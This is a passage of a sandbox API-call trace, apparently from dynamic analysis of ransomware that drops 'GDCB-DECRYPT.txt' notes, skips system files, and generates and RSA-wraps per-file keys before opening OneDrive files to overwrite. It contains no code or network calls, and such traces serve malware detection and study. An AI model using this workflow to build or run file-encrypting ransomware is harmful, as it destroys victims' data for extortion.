dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.975] GetLastError () returned 0x3 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.975] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pt-br\\\\GDCB-DECRYPT.txt") returned 280 [0171.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pt-br\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pt-br\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.975] GetLastError () returned 0x3 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.975] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pt-pt\\\\GDCB-DECRYPT.txt") returned 280 [0171.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pt-pt\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pt-pt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.975] GetLastError () returned 0x3 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.975] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\qml\\\\GDCB-DECRYPT.txt") returned 278 [0171.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\qml\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\qml\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.975] GetLastError () returned 0x3 [0171.975] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Core.dll") returned 268 [0171.975] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Core.dll") returned 268 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5DBus.dll") returned 268 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5DBus.dll") returned 268 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Gui.dll") returned 267 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Gui.dll") returned 267 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Network.dll") returned 271 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Network.dll") returned 271 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5PrintSupport.dll") returned 276 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5PrintSupport.dll") returned 276 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Qml.dll") returned 267 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Qml.dll") returned 267 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Quick.dll") returned 269 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Quick.dll") returned 269 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5QuickControls2.dll") returned 278 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5QuickControls2.dll") returned 278 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5QuickTemplates2.dll") returned 279 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5QuickTemplates2.dll") returned 279 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Svg.dll") returned 267 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Svg.dll") returned 267 [0171.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Widgets.dll") returned 271 [0171.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5Widgets.dll") returned 271 [0171.977] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5WinExtras.dll") returned 273 [0171.977] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Qt5WinExtras.dll") returned 273 [0171.977] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png") returned 274 [0171.977] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png") returned 274 [0171.977] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png") returned 274 [0171.977] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png") returned 274 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="desktop.ini") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="autorun.inf") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="ntuser.dat") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="iconcache.db") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="bootsect.bak") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="boot.ini") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="ntuser.dat.log") returned 1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="thumbs.db") returned -1 [0171.977] lstrcmpiW (lpString1="QuotaCritical.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.977] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png")) returned 0xffffffff [0171.977] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png", dwFileAttributes=0xfffffffe) returned 0 [0171.977] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.978] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.978] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.978] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.979] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.979] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.979] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.981] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6364d8) returned 1 [0171.981] CryptGetKeyParam (in: hKey=0x6364d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.981] CryptEncrypt (in: hKey=0x6364d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3050000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3050000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.981] GetLastError () returned 0x0 [0171.981] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.981] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.983] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6363d8) returned 1 [0171.983] CryptGetKeyParam (in: hKey=0x6363d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.983] CryptEncrypt (in: hKey=0x6363d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3060000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3060000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.983] GetLastError () returned 0x0 [0171.984] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.984] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.984] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png") returned 271 [0171.984] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png") returned 271 [0171.984] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png") returned 271 [0171.984] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png") returned 271 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="desktop.ini") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="autorun.inf") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="ntuser.dat") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="iconcache.db") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="bootsect.bak") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="boot.ini") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="ntuser.dat.log") returned 1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="thumbs.db") returned -1 [0171.984] lstrcmpiW (lpString1="QuotaError.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.984] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotaerror.png")) returned 0xffffffff [0171.984] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png", dwFileAttributes=0xfffffffe) returned 0 [0171.984] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.985] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.985] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.986] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.986] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.986] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.988] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636858) returned 1 [0171.988] CryptGetKeyParam (in: hKey=0x636858, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.988] CryptEncrypt (in: hKey=0x636858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3070000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3070000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.988] GetLastError () returned 0x0 [0171.988] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.988] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.990] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636558) returned 1 [0171.990] CryptGetKeyParam (in: hKey=0x636558, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.990] CryptEncrypt (in: hKey=0x636558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3080000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.990] GetLastError () returned 0x0 [0171.990] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotaerror.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.990] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png") returned 273 [0171.990] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png") returned 273 [0171.990] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png") returned 273 [0171.990] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png") returned 273 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="desktop.ini") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="autorun.inf") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="ntuser.dat") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="iconcache.db") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="bootsect.bak") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="boot.ini") returned 1 [0171.990] 